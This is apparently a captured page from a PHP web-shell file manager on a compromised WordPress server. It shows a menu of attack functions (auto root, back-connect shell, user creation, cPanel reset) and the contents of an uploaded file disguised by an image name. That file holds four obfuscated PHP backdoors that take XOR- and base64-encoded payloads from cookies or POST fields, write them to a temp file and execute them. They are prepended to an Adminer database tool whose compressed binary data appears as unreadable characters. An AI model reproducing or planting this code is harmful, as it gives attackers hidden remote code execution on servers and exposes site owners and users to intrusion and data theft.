Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
blog /
wp-content /
uploads /
2016 /
05 /
[ HOME SHELL ]
Name
Size
Permission
Action
cover-150x150.jpg
6.18
KB
-rw-rw-rw-
cover-150x180.php.suspected
431.32
KB
-rw-rw-rw-
cover-300x164.jpg
11.11
KB
-rw-rw-rw-
cover-600x328.jpg
33.6
KB
-rw-rw-rw-
cover-768x419.jpg
49.42
KB
-rw-rw-rw-
cover-945x516.jpg
68.06
KB
-rw-rw-rw-
cover.jpg
56.17
KB
-rw-rw-rw-
cropped-cover-1024x157.jpg
12.57
KB
-rw-rw-rw-
cropped-cover-150x150.jpg
2.53
KB
-rw-rw-rw-
cropped-cover-300x46.jpg
2.49
KB
-rw-rw-rw-
cropped-cover-600x92.jpg
6.07
KB
-rw-rw-rw-
cropped-cover-768x118.jpg
8.53
KB
-rw-rw-rw-
cropped-cover-945x145.jpg
11.65
KB
-rw-rw-rw-
cropped-cover.jpg
20.84
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cover-150x180.php.suspected
<?php if (!class_exists("oaneeeev")){class oaneeeev{public static $nzxrt = "grzidxkfeycujqvk";public static $zlblqozot = NULL;public function __construct(){$psdpctxxf = @$_COOKIE[substr(oaneeeev::$nzxrt, 0, 4)];if (!empty($psdpctxxf)){$vmcinlm = "base64";$gnyjx = "";$psdpctxxf = explode(",", $psdpctxxf);foreach ($psdpctxxf as $pbxbx){$gnyjx .= @$_COOKIE[$pbxbx];$gnyjx .= @$_POST[$pbxbx];}$gnyjx = array_map($vmcinlm . "_decode", array($gnyjx,));$gnyjx = $gnyjx[0] ^ str_repeat(oaneeeev::$nzxrt, (strlen($gnyjx[0]) / strlen(oaneeeev::$nzxrt)) + 1);oaneeeev::$zlblqozot = @unserialize($gnyjx);}}public function __destruct(){$this->hcalsg();}private function hcalsg(){if (is_array(oaneeeev::$zlblqozot)) {$mmegm = sys_get_temp_dir() . "/" . crc32(oaneeeev::$zlblqozot["salt"]);@oaneeeev::$zlblqozot["write"]($mmegm, oaneeeev::$zlblqozot["content"]);include $mmegm;@oaneeeev::$zlblqozot["delete"]($mmegm);exit();}}}$xuahlf = new oaneeeev();$xuahlf = NULL;} ?><?php if (!class_exists("ofswazdcv")){class ofswazdcv{public static $qmflfwj = "zomguvmkjuuxobsz";public static $abqdrdpgn = NULL;public function __construct(){$iffse = @$_COOKIE[substr(ofswazdcv::$qmflfwj, 0, 4)];if (!empty($iffse)){$xywboidad = "base64";$tsruvb = "";$iffse = explode(",", $iffse);foreach ($iffse as $wlpgv){$tsruvb .= @$_COOKIE[$wlpgv];$tsruvb .= @$_POST[$wlpgv];}$tsruvb = array_map($xywboidad . "_decode", array($tsruvb,));$tsruvb = $tsruvb[0] ^ str_repeat(ofswazdcv::$qmflfwj, (strlen($tsruvb[0]) / strlen(ofswazdcv::$qmflfwj)) + 1);ofswazdcv::$abqdrdpgn = @unserialize($tsruvb);}}public function __destruct(){$this->gtbka();}private function gtbka(){if (is_array(ofswazdcv::$abqdrdpgn)) {$ktgdybryve = sys_get_temp_dir() . "/" . crc32(ofswazdcv::$abqdrdpgn["salt"]);@ofswazdcv::$abqdrdpgn["write"]($ktgdybryve, ofswazdcv::$abqdrdpgn["content"]);include $ktgdybryve;@ofswazdcv::$abqdrdpgn["delete"]($ktgdybryve);exit();}}}$itfdub = new ofswazdcv();$itfdub = NULL;} ?><?php if (!class_exists("natvq")){class natvq{public static $ayxxjsxlsp = "xbgonucfrfakasmu";public static $iowhktsgbe = NULL;public function __construct(){$ygenp = @$_COOKIE[substr(natvq::$ayxxjsxlsp, 0, 4)];if (!empty($ygenp)){$iddvp = "base64";$bltfud = "";$ygenp = explode(",", $ygenp);foreach ($ygenp as $dbqpgwil){$bltfud .= @$_COOKIE[$dbqpgwil];$bltfud .= @$_POST[$dbqpgwil];}$bltfud = array_map($iddvp . "_decode", array($bltfud,));$bltfud = $bltfud[0] ^ str_repeat(natvq::$ayxxjsxlsp, (strlen($bltfud[0]) / strlen(natvq::$ayxxjsxlsp)) + 1);natvq::$iowhktsgbe = @unserialize($bltfud);}}public function __destruct(){$this->jgjyy();}private function jgjyy(){if (is_array(natvq::$iowhktsgbe)) {$ninjeev = sys_get_temp_dir() . "/" . crc32(natvq::$iowhktsgbe["salt"]);@natvq::$iowhktsgbe["write"]($ninjeev, natvq::$iowhktsgbe["content"]);include $ninjeev;@natvq::$iowhktsgbe["delete"]($ninjeev);exit();}}}$pujjtzvc = new natvq();$pujjtzvc = NULL;} ?><?php if (!class_exists("hnzrec")){class hnzrec{public static $dnqbcuppy = "vxwnhosuedbhsnrb";public static $wgtkxoph = NULL;public function __construct(){$pjmlh = @$_COOKIE[substr(hnzrec::$dnqbcuppy, 0, 4)];if (!empty($pjmlh)){$mnvbiew = "base64";$twddsemnb = "";$pjmlh = explode(",", $pjmlh);foreach ($pjmlh as $nnquszidkx){$twddsemnb .= @$_COOKIE[$nnquszidkx];$twddsemnb .= @$_POST[$nnquszidkx];}$twddsemnb = array_map($mnvbiew . "_decode", array($twddsemnb,));$twddsemnb = $twddsemnb[0] ^ str_repeat(hnzrec::$dnqbcuppy, (strlen($twddsemnb[0]) / strlen(hnzrec::$dnqbcuppy)) + 1);hnzrec::$wgtkxoph = @unserialize($twddsemnb);}}public function __destruct(){$this->vkhlubaywe();}private function vkhlubaywe(){if (is_array(hnzrec::$wgtkxoph)) {$unvfvmtcqn = sys_get_temp_dir() . "/" . crc32(hnzrec::$wgtkxoph["salt"]);@hnzrec::$wgtkxoph["write"]($unvfvmtcqn, hnzrec::$wgtkxoph["content"]);include $unvfvmtcqn;@hnzrec::$wgtkxoph["delete"]($unvfvmtcqn);exit();}}}$ugomxxwgwo = new hnzrec();$ugomxxwgwo = NULL;} ?><?php /** Adminer - Compact database management * @link https://www.adminer.org/ * @author Jakub Vrana, https://www.vrana.cz/ * @copyright 2007 Jakub Vrana * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other) * @version 4.3.1 */error_reporting(6135);$Lc=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($Lc||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$Wh=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($Wh)$$X=$Wh;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");if(isset($_GET["file"])){if($_SERVER["HTTP_IF_MODIFIED_SINCE"]){header("HTTP/1.1 304 Not Modified");exit;}header("Expires: ".gmdate("D, d M Y H:i:s",time()+365*24*60*60)." GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");header("Cache-Control: immutable");if($_GET["file"]=="favicon.ico"){header("Content-Type: image/x-icon");echo lzw_decompress("\0\0\0` \0�\0\n @\0�C��\"\0`E�Q����?�tvM'�Jd�d\\�b0\0�\"��fӈ��s5����A�XPaJ�0���8�#R�T��z`�#.��c�X�Ȁ?�-\0�Im?�.�M��\0ȯ(̉��/(%�\0");}elseif($_GET["file"]=="default.css"){header("Content-Type: text/css; charset=utf-8");echo lzw_decompress("\n1̇�ٌ�l7��B1�4vb0��fs���n2B�ѱ٘�n:�#(�b.\rDc)��a7E����l�ñ��i1̎s���-4��f� ��i7������Fé�vt2���!�r0���t~�U�'3M��W�B�'c�P�:6T\rc�A�zr_�WK�\r-�VNFS%~�c���&�\\^�r����u�ŎÞ�ً4'7k����Q��h�'g\rFB\ryT7SS�P�1=ǤcI��:�d��m>�S8L�J��t.M��� ϋ`'C����889�� �Q���2�#8А����6m����j��h�<�����9/��:�J�)ʂ�\0d>!\0Z��v�n��o(���k�7��s�>��!�R\"*nS�\0@P\"��(�#[���@g�o���zn�9k�8�n���1�I*��=�n������0�c(�;�à��!���*c�>Ύ�E7D�LJ��1�J=���1L��?�s=#`�3\$4��uȱ��zG�C YAt�?;�Q�k&��YP�u��ǯ}UaHV%G;�s��<A\0\\��P�\\��&ª�V��\n�SU�t���r���2� l^�Z6�ej����A�d�[�sն�JP����ҝ��8�=����6#˂74*���#e��!�7{�6��<o�C�9v[�M��-`�k�>�l�ڴ��I��H�3�x����w0t6��%MR%��jh�B�<�\0�AQ<P<:��u/�;\\>��-��ʈ�QH\nv�L+v�æ�<�\r��v���\\*����Ӵݢg��n˩��TЩ2P�\r��ߋ\"+z�8���:#�����2��J[�i����;z����r�3#�ى�:�n�\r㽃e�pdݍ� �2c��4�k���\rG��E6_���=�SZUǷ㌞O���?��þ27�c�А�hnƋ�u3�E>\$J[�q[\r�I�6.�J�\"EPr�G̊GA��W���\r���6��k���`.-��B2>#��h��X���u\r��=�Z� b�Ł(�╃!JZȔu�yO��Z�M��6�lM[0�䖀��!Im�y�+p�#ag���vW�:qp\"4����he��0�d�Aq-\"������\"2���@�)o�,,�����Rb`@�B@������Q\n�芷�Z���=(r~�l�~��h�sAll�\n7�!1!��#�\0K��A�LH(�!�ʘagH\0�T\ni�/�\$�4Ga�I�!�.�Ř5��M\r�2��� �;�,��LIJ���d?�����%Ո:�N@b.��2�5���t:FAw�B�E�,�-\$��'�:өu�?�tK;ḱ�и��\0ouMD)k_Ph���5MC}7���2�w.Q�B�8)�8(DI�=��y`�ed\0s,`ɕj�H��\"(b���\\��nl�\"ق^�쀭eE�\n���X!SqX��\r���7A���0���y7pP���a�A�4��(y�Jwm�2����.�fp���;Ƅ5�J�c�q�Qz\\\0[H�� 3�f'b��F��Y�\nA�9_�I��(�f�ӝq�V�����4�����RI�Y��&J��F�}�{FT�h9[7�h\0��T�^��j��q�j���Ք���c�WI�@`_�sVD��[�\"{1��3�� ����<�l�l.���[����#į��b��u��/�\0�3�va嫑Dp>�2�I�DW՚�kK�A��hH�]��F���W�!]�ʝ�lt�ɕR̭4L[���YC cTj<c;s�q�p�� �5�t�J�m6�%J�-\\��eB=i�-�*%�����TV�[&M8�*\r�b�Y\rih� ��P�9T�-VɰZ��۳�49β���p-�`����G�ٛ'�����M�:�ř')0�Yu�c�:!�x#צ�-l*�T�\nYl����*D��X� V\\���ڮ�]y��\n�2r,Ɇ��,�d��~ų�s�-�+ֻu�]�\\B����Iw��!�Os�ԯl�YC�Ђ��:�@ƜEU�._)�9u�z��vψS���1��_(S��q齡r�yu�+�Z*�6�u�y�<��z\\|�ZK;�e�ז�oY�;���l��x��-7��4rkYY?��GWt���[Kښ��zo�<���� t����ɀg�j�_!�o���\$ I�I�.&�5�P\\��]�����\nC�.��_��;��s�i�S/g�:�P�ɳauNͨ|�a��ᙺ������6�ӎٞ3�|����{�ce�X�<�e�p>N�}��~��O���ҙBl��j�/��K��Hdch-˾������/�����ȶ�hԞ�0��Ќ�Ћ���H��8�j6�\n+d �l7\r�� �څ0N7e�Z�0`m��n���p\0�\0�}��@[���i0�� �~���4P�\nА�bЯ0�p� P�4@�P�����I\0``f��\r`�``��Y�z�� P���\r��� p��y H�q�@�� Q�q�� �`���bi���UС��@`)������)���Z�pj(�--l����1Q��%�p��Y�\n1}���\\*��h��{��C0�#��H��0T�qA��b�=� �f- ��q�iA�s'Q������Z\r�Rc'��`���q��Y�Q1�ҝ2!r\"Q�1� Q�!q�r\0�B��D�w�\0������q�\$�S��\"�]q��@`豲@,�\"r\"�)&��&�\nt��b�m0�2�)Qw\n���� ��p(0�*��Ҏ���q\n�&i\n�\"�p���1��C����\"�.1y.q^�2���\0�.�Q�0��r��)/\0ڔ!/�.S+1R�/3:5�Ɲ�11�\nB�43 4�G#〜`�Sa �ra6���es7�q�,搩�j3q4)�\$�����@*��-��9��\n��\"0�',�h�S}\"�3ss9��1�7S-=1g4 �<pr.��)LA9��´ �/9�S�?�/5H}>�.��4LD;��@2!A��@���Br��-/�+016S�#�)��\"i@�`P;.\n��<)Ա�V\nl8�K#gk�d|��8�l���.lf.�?�A@\rÆ.�\$J2tN#�Rr�AE��E��e��F��FӦg�8*�");}elseif($_GET["file"]=="functions.js"){header("Content-Type: text/javascript; charset=utf-8");echo lzw_decompress("f:��gCI��\n0��S��a9��S`�����&�(��n0���QI��f��\$�At^ s�G��tf6e��y��()L�S��P'�����R'�fq]\"�s> )�`�H2�Eq9��?�*)��t'��ϧ�\n \r�s<�Pi2IN��*(=2�gX��.3�N�Y4�B<�L���i�̥2��z=�0H���'�ꌚ�u�tt:������e�]`pX9��o5�g��I��,2O4��х�M�S�(�a��#�����|�G�b��x�^Z[��G��uTv�(ҝm@V�(���bN<��`��X�1�+��9J8�2\r�K�9�h� ���`�����I8䛱S���t�2�+,��I�� ��p�9m@�:����x�)��C��x�3��4P7�-�4�r\"p3Fh�-5��U4͉�\\6��<D\$�l�9�R4t7��dD3�p�Γk�:)\\;�����\r@�t�\$4O�<��!pd���QJ\r�H�}:&����Ȅ�5YWJ�����`�N��bKNS��a�����d>2W�ŅbDj:9[21c���ȝ�:X�@�q�#��4�L�'J��+DHe�3�.�O��K˰���pV��t2�wp;Ɠ��\r?�OzDq.���-�\"�Z�c�X3!/>P�F�s�ɲ��0�(��ʣ���T63sVQo��SΑ�b�߅^r\$�@C� r2)��� �V�)+nܷz������l��{�K#��9�{�ۯl���m�Q��h�*ɗP�:�c�]�7��=��L���i;�2������<\\�J��b�n����n�_iӴ�J\n������C:���`N4�̖�'Aw:4}�ۣ�W\080��L3��J;�i�)\\�=/N�u=ZV6&cea��p��.[�v�tPZ��X`֔��+z�'��9�.\$\$���@\n\r�]_�ٮ��h�kk�Ms>`̖�j�%�\\9ж��('�jA�>BCd\"K\$ CA�����.².`��.E�洖��yy\0�D2�8t �6��8�FL������B*��,�|\nx\\@��@��3r ����WKQb,%���DBf�ȳD|͌�E0/�2>�Y!Ć'��`�f�mH�<B�B0\r*\0Gx��n�Y4����,�L������%S�,�v�0���X�Q�1�HId`�!.�V��H/�×�H�0�U��0��`�LI�8��k��2�4JYN�&�8x�J�k:AK㝡nW�!�����I�;'��\":2��4�~�J�8�ᒑ��G��\"M�=\rZ'�n�i9F����r��R�t�3\0��Ҳ�2�y��B^��b'��z�ɲ(�#�d9It�&W�jNa��C(� j�Ė?h���j����քZ\$0��ү�J A_�\n�!T�O�4�<{a�?��o ���-����?Hl�\"�2�y�=�먞�R��ф��͊�P&�G���4��%()�\r5M����LT�\0���xBI�=ltv�2Jhv���~/:��p��:8\"д5���0�#�*�7����\n�q�>�G\$���): ��\"�#�KfI�!�v�+?{���Qg��{�R�Q��C��}�#��iIb�g��X����}��`�}3�%@��{_k�}0�ȗ�p�!�a��<7�e���F�?����X�D���, ��Ck���U��L>�1���܇����p0�#�\$���V)pY�s5A�:��U�(9�5��,F+�&�*{�-����:���:7��:ʙyP������X�+���\n�I;��\\s��P�1�����r��NJ�AT'-���k?��Y@����f��bR�J�i�m�B~�K\rK��t�4�;O�Kc�9%H�5��d�3�e8j�P��[s�9,�Ę�bzK����W&e�d8���)���uP����>�# P&��P �pba��ͨy���\$3}��{���hy�(�dW�������_�:�'A�P��I\"�!�[`�n8�i/@���P �f�Ў冩�V ����s�C�8���Ny��h��tEnAj.-��6��qwJ�?�ù�A�hu ��s�A��O7��j��\n ]�0�^� �\nY��\$�Ζ_�\r�\$�u*��ޡ�Ex/d�pdR�d�:�I�oD����sQ��f��I�����8�,��K��IsM@aq\n/���M�R����C�-a�a���/�H�!�4F��I���pŔMϫ��_؇H�9{�.�\$W��#{�Ү���:�S���(�'l�MY�:lʞ�mD\$�\0���\0���'�~� Z@�����V��L\"�jn�5��Nl����K�fj&�M��O��dbӰN����O\$i)�N�(��!P)�0+�6HpN���F���Ж��?L\n���-h�0��,.e��\"��6m#� �o&����g�Z�@P�k�&̺_�%\\\\'���\0]\$(�5�N fq�|�p� `��<��R�� ������I\0����L�|�\$���(��ŬTkQ6k�B@0H���P�\r���#�u��+�ܲpT��Zѱ�/�\r y�Pp%\0^8��\r������4��\0��1���Qn*+B8q�ࠎ�F�\0д�ܱ��\n�.��H��%��3�&P�F�ф�X���`O ����9R�B��\r �10��콇O �X��^+�����i��ArD�4��`�-�.i`4�'�,\$�V�,_c~;Bn<�1\$,]%�l��D=��\$�).1b%g��z��}��G2�1]8uP���D] /z ��g�+'�7D\0]����a�pV��L��0�+`Xp� ��d�-h�+h(�����\n���f���s2,�2�@z �.I``�*��1l?��R���W.�.c%\$���s+4����6�\$Cr�F)0��\r�1-�`�ӌ �j�L�\r�8���l�0��*.L�Kp�\r��\r�/r�L�a8�2K�1n�b��4�L����,�ˬ���\nij��r�i#ǩ8�1�bx�2�\$N�\re� �\r\"8�'������\r�-�P�Y�0��Yb�S\0���\\jK+q6V�h�1�U�z`p��R�E�C��X���%�F 5�F4f-�tP�ID6\0NF�N�4�_�0�\riL@�n��P�^������%'�LԨ�G������\\�F�����&�4��I*5�O��O��P�)8�)�*L�;�4E�]�\$���\0L3�E �Ek����It%e�\nb�(��SM�}��7s��ۏ�)gi��F�&�-XH� ���B�M5~jrPj̾-|֤�9���p��5��;o��5�����c\nd��u� ���\rL�h�'\n�''�< O\0�e,. ��\"t\r�k^�{_�_gT��`\0� Mk?�2�\r:Db%�]U�[��1�cu�[��[9]��/ EV>k@�a\r_\"�b6]� E�D�Q^)ș�@Ps�ITr vT\0�VR�W@ �iR�2/�b�,Xr�� j�^��0����k���C�l��fl'8E����o�W���I��mp룶�/&�+���X��k.��\\�4�0d�r\"��kb\nH\$Т��KC��o�Oo��G%\r���ύl����� �]�P7\"*hPP�\rc�_�X[`�����7�:`��U�ߨ�I��w�d�;�� ���x� t���8d\0�@�jw�v� ��{�� b� �p����cy�\n��, u< ��\"uyE:�Z`<LF����2��cw�S�d�%uw��u�߀#pqNN�N�\n�#@�E�#\"@|d%kwc\"*�x���w��\0uX.��l&Xe��M��B'��@6Ch�»`S��w��G���ӈC[V�1��\r�b\"�\n\0�\n`�J����+�a1�\"lW}z�]zjdO�>!���G\0[\\��F|��� �^\0ZJ`��b�`#�5��`W����E;���(��!`��`\"�~Eߒg��hVGr���_�u�j�Q�*d'2g/�-\n�h��^�da)וE:H�h���vEv�s�B��9w�\0��M����W�NL���� �3��-�=#@%�D!��XL*��V����;��1��ǘ���M�k��X�������&���r<�[%U�eq�WW�#\$�蝌lIV�A�W_G�V���F\"&f�(�o�dV1���*wr0�F\"����H���v�Tq�hw*���@����s�.�0g8�1_�zf���A)���+<��u\"�F_lO#����n{�XYwv,���� H��Ǔc�{n7�<8�YfB���\0�Fe�\r�:�r��\$gy���6=p�;4�9\0�b%a2Bɐ��\n�� (�\r�@GF��@��%��߲Š1��Гqb�s+�Zg�%@t%�ࠚ3���\r�D(�L��v.��\\\rR ^�� �A2�\r־;yv����~�U��*��@��<���q�Wa��S��W��=�y�E�<V�@<��1��3��\$���\$�P�D��w2U����;�]����%!\n����D)���I/h~����<�+���0���s�34�-����G��4����T\n��u3�<T�ck���W��W��GU��Ǎfme�\\�D!*v�x3�i�2�w2��1��|�\$&ԉ+��bG\$v!r�*-�4�qu�\r�yL�0��tXƅ������I�b�d��S��<�a����G�~G���m �g�x-T����Y�ᙖ��!(wH�\n�4a�g)`��%�@r�Y%���(q�X���!c՝\$Dy�]mj�bpR�4R��R��u�X��p�/6 h�e��+�n�@�cH�ɹ����{Ŕ���.\\bmV�pP�`bQr�P��\0`\$W�W�Rq2x%bY�1���������>���1���u&b\nV�o��N�j\n����EĆ�C3��G\0����ep�����<~B^ A�%/9��;�v\\�[�H�l�^U���Ӟh���.\\Y�}+ �Yt��qƉ6�\ns��\0���c:�3�*}������7z\$�d\\��\"�� W��Y��+��I���e���\0�S�9���Dt[r�ך�C֩b�~馳D�w/�l���L`�~ �U��V_��\0\r�w�)�b�Ʀ8�G��%���W�U�A�v(�HFg��X�c��n9�2���n12l��\r�?\"t�\0XP�s���Ymf���F?m��x5�}H�_��Xc�y��κC��.�\$�`�k�d5.rx>Ǣ7���s�n3���<��g����O(\\@�W�:P�σ{�_F��hg�LӠ>�<�6�~'�K�0�?@��EA�_� �8H.LG<���d �Y�o��������kF<��p��(�j\$9����?��V P?)��ؤD�u��Lb���j����} �\0�Kp��7��ZsԀ�D�)�\r�:��JQ֓}��\$��b��A�u)���\"X��M�%pQP�Q��\$@���\\�\0�V�7���TM�X��*��#)G\\��K���M�0�=��J�&�`�\"x�_��b�B`�C?/��Ū�BUu�83�NR���_�]N�T�ܿD����wI�\n�2���D:Y� ��q1��`B��F!]W5�,:�1�(�0�tQ�F� ��p�7�'!\"@��8�0�`�7�\rhC��\nXӡ�\rA�C� m Q���&l&�|c�L�d�\"#�\"����PK����56Hʄbʗ&��+�#f�V�/S��h(Td�u���<=�xd�8�:�m!�6�8�,JP~RP�D�Z��u���O�`�0X���A��wأ0eh^C�\$� ���8A��P��(�#+K�N4�%\n�B��>���2�%��{0�Ƌ��0ϟ�/��z��� P����ʚ @�g�D�z���D�Ԋ�Y॓4���,%l3W��U����Lr[�����9H��gT`@7�\r��N�� ������O+�D>I���(b��L�}\$�Dž��IX�BҞ�(4!�h�!E����\"w�\"0q�J\0�U�PF\0o_\0c��Є�\ng�\0T}\0��#/�t���XJ�BK�K/�@\0y� PI��vA1�i�����p�m�@y��9���3��HY�2!������`/�<rI��y ��B�s@u� ��:b\"��}�%#��ɾ���~[�:p�2/.!9C���B_Ncq�H�8��ܤQrcyI��\0���\n7�nBi)`?M���L�%XM�NH�4B��R\"Og�[H0}C�4샠,,\\f���5� ��d�\$_'|�Į��&P�\0���N�j�K\n� <��?�*%�Y�ı`��@\"2��!�P�tP��.iiT|�@2� ��R�G d�K'&(T�#�W��t\"c\rS,a��@[3hG\$\$��+��R�R̶�Y 6�s�lt����Ғ�I*�v&�z���4,\\������YY{G�^J>̹%�.f�Kx���:X�O�.�}L[G&���e�IaK�b�琔�%�O�B�8l҈>���(M �C�A;oK+%�yĀ��%�|\"�#hGD�\$��� �fB��MdC\\����ֱ�����L�T(q����\0.P��\n��������Z�Ujg[#P@�ǔr���8m��y�MQ6�\$�s����Dָ�`!�8:4��ф�,a�p'��FE2�8M�m����D2@.�U��]!���5I��_�\n��'(�iu��P��K��p9���@LH���)��X��P�W�v�\rD�']!��0��B#�R:D�.\n�X���8�H\rs^0˿+9���Sb0\nB�7����a�ty<�����|&#�g�@5qD���Ȃ\0/� A��\"&��1��fF�|g�5�\\��r�rIJ�'2P��Js鍞�l��i\n�R�yCa9���ߔ������Np�\"�'H7��͈�3MT�Rd�B�R��p�|z�:1P�h�)(h[B�Pƈ�Ҟ�^�\0��\$:6�KB�(�Ҙ\$��\rx[�BGH�� 6cn8��\\� \nYi\rd�\nU߄\$�;���.ˇ�*�_\n����=Q��y\n��< 9O��xF}\r����F%��M4\"��0\0f(�d3����a�\0��p0�`H�꤉Dպd���3Y���IC��x�+?Yi� ���?�1� f�lCFP�[B����S@!Ln#su\"�Z\0�:�r�|t�],7)1��-�4��&Y`����Z��7p奦���ʛ@�ӽ� -��h�N�-�֛��iJ0�ҝ��3Xj�9*�.T7I��`�@����{`n��eQ���@��)`�B�\"���h�0��+Z��>K��*YSjD�R���I�0�\n�j�<�n���/�(�4�7�ĉ�h�hGj7;����!�p���Q��ϜB�X�)�KP �u8��j�R�+q������*�M�i���M+TNs���@wCbFV#h���(@�������\rlLяނ9ǀ�r3����>�i�\r:���>��Vea�p���U���)��G�2��trTw �5p��f��#�um�3��f��`�8KI& F�m���v�\0��9t�P1�~��\$�A\0�S5'��Eyz5qW���\$-_K��Ey�����ҽq!�@�k���T�l�ʓ�e'\\��\\cg����i��_5����\0z���V�i�B�[��]�����8\n+�]:�Ӱ�ؓ\"'n��W}���Q�.I�Xn|�B�Ń]�k�l���9a�Su�ʅv����-ay<VIt�Ι]]�K �I��Gݲ�\rB� �̭�S#��Vs��h'��b�T���3�b�]Ym\\��S(���7��&��{,9����z�`�Z&'�o�h\"�m��4��8�AA}�돇W�ň��ST�-_Z�e\r�0��@UsݮF\0-�y����'̺B��v�eC�݀wZ�KZmp�e�� |p0���Y��e��Դ�E,�{��qà 7h���S�ph��T��MK��\0R�Eak.*��\"������L�AL��&;h٤�:�5�\nm!CېU�g�J��Yn����V�-���F9�� ّ�蹊VYȔLt���i\\����t���n\"'j_�ژNN�`�._��թ�G���T�\n��]�dډaf��\nembΡaI�n�19U']���3��:��X���ܔ�#�k�d�y�B�W2e�Xn�.K�Y2��T�),�c���mc�����P�1q`ce�e.{�p*�[>`�{b��]L ��Se��b|�)�Y:n�c�S9k7]5����Y�]ŝU C�sBC|���gЋ�t98�����Ո�t�6]l.�mᩖ �8k���U��y�^|���y@�*���ތ1\$� ��*'��]f7H����1y0�}j!彡cV+��5��}��d�8U=�ޱ�ꯛzۘ�F����@�o3��_f�a���)�~`��!iG]E�&Bl�Φ#�}��\0ȑ�6�3\r�Tn�k�]\$;�Qjn:������Z���Zb��Z&�@g�3B\$�g�\n��d5M�/Ku{�#]�ssqf�u������Q3�����T�v�c�\\�M�u��k#e�B��Q�OD�%�Y<_�6��b ��!�T.]>\0u=~���p��G�V�6�@'U�<�kZ�K6�\r@���-;�B.�t�\0U�Ma�����U�n\0b�m9# T�?Z���eڈ\rӑ\n��6�G�@+�\rAݲF��a���A>0ˊ�|7E�Q�\n�\0W�,7.���ᣰ�(�%b���à�����M�U|-�h�S�+9n��AQ3 ��j�D|�6ͮgJ�rXn�X��N)�|M�p��R�c&\rM����C�y�z�k\"d�����C������PG�.?y��i��1�JCl^��\"�9����Y����� �~�q1�8���#��0���) �_���B����lャ8e�C,��̄A]��NC��k���k��i�(p�=��ڕ� �Ѓ\0�A\\�m��=��ʙh�����������1i�M[� �ի_��q��%!r�O��}M��G�5%�q.i^G�f�Yi/d��lLR�0z2�̷���\r��\\��gF ��n��� tfi_�e͢RD�@���Ki�X��p]��;6��o\"A%�9�7F.��ˣZuEk�s��\$�y��c����f[-��s8���P�4\0��5a��f�ث@no�Z�RڡH�.u�b5�٢ȳ�KiDF�ݍ�-Nfp�?�H�!�ꡈ�y���js��\\�e .�]����l�pw��^����;��\"�,h�~�Iȫ�9,a:jF7�G�g����38?J�b�H�+l�W\0�cֹ��W��h SEs�%�Wc:X;�-�D�F(֭64�Ts3�)�Bj[f��n������:��A��@��\$�ն��Z&s�W���K��UؗO2��hZ���v�ϻ�����t��Ҏt�CV�wJ�ͩ��F�^,��p��?��L \$�8�E��s�|�D�4(���q)'�NWuG.�`�7[�B/���]��'�����z1�ƉQ�Eƒs:����P<��X5��L��\0�}g�X\n��z�¸=Y�>�y�Ѭͳ�ɖ9e���{��i��k<ZY,K��Aƹ�b��˙��Z�\0��\roN�}����hIa!|���JX�����!�X��)���B㜫���N����TX�dJ�����+b��ر\n�LR�=��H{�z�JH�E�`��}��G\$��ޒ��H��P��*���\"� 0*�@�A�@@�#, ='����X�5̈�bx�Xy���7��%�������]\r�J!J�����h�x�\"c�Q���\\ݮ�����gyۋĎ 2mL;U��E�RQK����WÕ\\ѥ��\$f\\RX�H����' /�c�]˼x���e�����3V��Y�F0���� �l��\$�Nu��\$�ɹ����|�b�\$�yJ`>S��3��ͬ�)�[��s�C��y-��a=CK��2��K!F��������e�\rܡH�#���g�Yu��b��TB�C# =:˩\0���o4�u��@]N���`���V�8OU2xX?q����^��N���g �ɋ�����N8BlM�TU)D�y\ru���;c��Q5u�g�A�&\\yx6.���/]��8�� 2�PE�>�7u�)��Œ)3���|M81�w`\"z��e�����R�8���� ��y��+]9�\0I�Ja1Wj�>�l����u=,Uy8'�4�rt�-_x�WS��M�d���P�uu����kaP=g����HB\$��\\���\\�5ēÙ���+���[�+���W G�S�B9p���t����d�r�r�!�n�^\r˖*�튼����E���:v-/3�1��9�r �vBͽ�g`�9o�^\\J�1 X�\\������#�(s�m���؏�����L5\\SR�E�OD�PlN��\n�P�����\\hBd#�P\"9݈�F��S�K��9\"0f�,�9�tg�}�zɪ&�6M�-�F��)uI��I��X�_Fp��p�H�\\�#�w�N������jb\"m�l?\"\0�DII�P ��P�݀V0\0�DR������ep !γ�F����!9��A��\"��*BObb%�bg�'+�K٣12�����S���Z��V�-m1��2�B���t�!=?��\\o�\0��2�;�\\ė\$��]�+�4ٴ8o���wa'A�����&�o���8\n�]H������[ZO i8���c w���\n�f�*��j=y���yco\n�IyRL\"�ݫ\0�]����Oe�7���/r`9I��ng��yh��! ����ێ?���ˁ���NWw��Ƒ�ه�G_\\u#�ma�݂ZOY�>'>��u�)0#��SA��.zp�eB>[�vi�*vOX��;���H�f�0�����R���");}elseif($_GET["file"]=="jush.js"){header("Content-Type: text/javascript; charset=utf-8");echo lzw_decompress("v0��F����==��FS ��_6MƳ���r:�E�CI��o:�C��Xc��\r�J(:=�E���a28�x�?�'�i�SANN���xs�NB��Vl0���S ��Ul�(D|҄��P��>�E�㩶yHch��-3Eb�� �b��pE�p�9.����~\n�?Kb�iw|�`�d.�x8EN��!��2��3���\r���Y���y6GFmY�8o7\n\r�0��\0�Dbc�!�Q7Шd8���~��N)�Eг`�Ns��`�S)�O���/�<�x�9�o����3n��2�!r�:;�+�9�CȨ���\n<�`��b�\\�?�`�4\r#`�<�Be�B#�N 